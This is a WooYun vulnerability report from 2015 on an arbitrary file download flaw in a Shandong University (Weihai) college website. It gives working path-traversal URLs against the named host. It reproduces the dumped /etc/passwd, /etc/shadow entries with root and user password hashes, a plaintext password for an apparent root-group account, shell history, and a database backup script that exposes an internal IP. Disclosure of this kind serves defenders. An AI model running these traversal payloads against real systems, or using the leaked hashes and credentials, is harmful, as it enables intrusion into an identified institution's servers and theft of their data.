当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124287

漏洞标题:山东大学(威海)某学院任意文件下载

相关厂商:CCERT教育网应急响应组

漏洞作者: 路人甲

提交时间:2015-07-05 10:13

修复时间:2015-07-10 10:14

公开时间:2015-07-10 10:14

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-05: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

山东大学(威海)某学院任意文件下载,密码等系统文件暴露,数据库备份脚本泄露,可获取数据库用户密码。

详细说明:

www.ie.wh.sdu.edu.cn/download.jsp?filename=../download.jsp&realname=download.jsp
www.ie.wh.sdu.edu.cn/download.jsp?filename=../WEB-INF/web.xml&realname=web.xml
www.ie.wh.sdu.edu.cn/download.jsp?filename=../../../../../../../../../../../../../../root/.bash_history&realname=bash_history
www.ie.wh.sdu.edu.cn/download.jsp?filename=../../../../../../../../../../../../../../etc/passwd&realname=passwd
www.ie.wh.sdu.edu.cn/download.jsp?filename=../../../../../../../../../../../../../../etc/shadow&realname=shadow

漏洞证明:

读passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:104:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
yuepeng:x:500:500:yuepeng:/home/yuepeng:/bin/bash
mysql:x:101:105:MySQL server:/var/lib/mysql:/bin/bash
somesecguy:x:501:0::/home/somesecguy:/bin/bash


读shadow文件

root:$1$rAhwYRCL$QtF/ezpAIOVXr/Rm5Il2m.:15151:0:99999:7:::
bin:*:15128:0:99999:7:::
daemon:*:15128:0:99999:7:::
adm:*:15128:0:99999:7:::
lp:*:15128:0:99999:7:::
sync:*:15128:0:99999:7:::
shutdown:*:15128:0:99999:7:::
halt:*:15128:0:99999:7:::
mail:*:15128:0:99999:7:::
news:*:15128:0:99999:7:::
uucp:*:15128:0:99999:7:::
operator:*:15128:0:99999:7:::
games:*:15128:0:99999:7:::
gopher:*:15128:0:99999:7:::
ftp:*:15128:0:99999:7:::
nobody:*:15128:0:99999:7:::
nscd:!!:15128:0:99999:7:::
vcsa:!!:15128:0:99999:7:::
rpc:!!:15128:0:99999:7:::
mailnull:!!:15128:0:99999:7:::
smmsp:!!:15128:0:99999:7:::
apache:!!:15128:0:99999:7:::
oprofile:!!:15128:0:99999:7:::
pcap:!!:15128:0:99999:7:::
ntp:!!:15128:0:99999:7:::
dbus:!!:15128:0:99999:7:::
avahi:!!:15128:0:99999:7:::
hsqldb:!!:15128:0:99999:7:::
rpcuser:!!:15128:0:99999:7:::
nfsnobody:!!:15128:0:99999:7:::
sshd:!!:15128:0:99999:7:::
haldaemon:!!:15128:0:99999:7:::
avahi-autoipd:!!:15128:0:99999:7:::
xfs:!!:15128:0:99999:7:::
gdm:!!:15128:0:99999:7:::
yuepeng:$1$s7f6m4rw$RbjhAMLvQYWKwbEh4BmNY.:15128:0:99999:7:::
mysql:!!:15128::::::
somesecguy:g0tr00t:16234:0:99999:7:::


读/etc/.bash_history文件

service mysql restart; service httpd restart; ./catalina.sh run
df -h
reboot
cd .ssh/
dir
vim id_dsa.pub
ssh-keygen -t rsa
vim id_rsa.pub
dir
vim known_hosts
cd /usr/local/src/script/
dir
vim backupsql.40.8.sh
mysql -u root
vim backupsql.40.8.sh
./backupsql.40.8.sh
vim backupjsp.40.8.sh
cd /usr/local/src/web/
dir
cd /usr/local/src/script/
vim backupjsp.40.8.sh
cd /usr/local/src/script/
cd /usr/local/src/web/


/etc/.bash_history文件里面表示有Sql备份脚本backupsql.40.8.sh,继续下载backupsql.40.8.sh,我去,有数据库用户名和密码

#!/bin/bash
remote=root@192.168.75.12
remotedir=/storage/202.194.40.8
bakdate=$(date +%Y%m%d)
ssh $remote "mkdir $remotedir/sql$bakdate"
echo "40.8 start backup..."
cd /usr/local/src
mkdir backup
cd backup
mysqldump -u root ieweb2013 > ieweb2013.sql
mysqldump -u root culture > culture.sql
mysqldump -u root apd > apd.sql
mysqldump -u root art > art.sql
mysqldump -u root tyb > tyb.sql
mysqldump -u root sdedu_db > sdedu_db.sql
mysqldump -u root talents_px > talents_px.sql
mysqldump -u root adult > adult.sql
scp -r ./* $remote:$remotedir/sql$bakdate


本来还下了源码下来分析,hibernate,搜索文件的时候貌似有拼接字符串执行hsql,算了就不深挖了。

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-10 10:14

厂商回复:

最新状态:

暂无